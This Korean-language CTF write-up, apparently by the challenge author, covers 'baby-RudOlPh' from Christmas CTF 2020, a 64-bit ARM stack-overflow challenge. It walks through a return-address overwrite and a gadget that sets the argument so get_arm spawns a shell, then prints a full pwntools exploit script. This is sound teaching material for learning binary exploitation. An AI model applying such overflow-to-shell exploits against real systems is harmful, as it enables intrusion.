[Write-Up] Christmas CTF 2020 - baby-RudOlPh
baby_RudOlPh는 baby 시리즈 답게 이번 Christmas CTF에서 가장 많은 솔버가 나왔던 문제 중 하나입니다.
바이너리를 받고 보호기법과 아키텍쳐를 확인해보면 64bit ARM이고, NX bit만 걸려있는걸 확인할 수 있습니다.
분석해보면 vuln이라는 함수를 대놓고 줍니다. read 함수를 호출하는데 0x100만큼 받아서 stack overwflow가 발생하네요
get_arm
함수를 보면 첫 번째 인자의 값이 0x1225
면 system("/bin/sh")
을 실행해 쉘을 획득할 수 있습니다.
ARMmaker
함수에는 인자를 세팅 할 수 있는 gadget이 있네요.
vuln
의 return address를ARMmaker
의 gadget으로 overwrite- gadget을 통해 인자를
0x1225
로 세팅하고get_arm
호출 - get shell!
Exploit
from pwn import *
p = process("./baby_RudOlPh")
context.log_level = "debug"
p.recvuntil("\\n")
payload = b"A"*72
payload += p64(0x400724)
payload += p64(0x1225) + b"A"*16
payload += p64(0x400738)
p.sendline(payload)
p.interactive()
뉴비용 포너블 문제를 내려는데 그냥 내면 심심해서 64bit ARM으로 내봤습니다 ㅎㅎ 역시 많은 분들이 풀어주셨습니다!
(문제 만드는 시간보다 도커에 세팅하는데 드는 시간이 더 오래 걸렸던 건 비밀..)
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.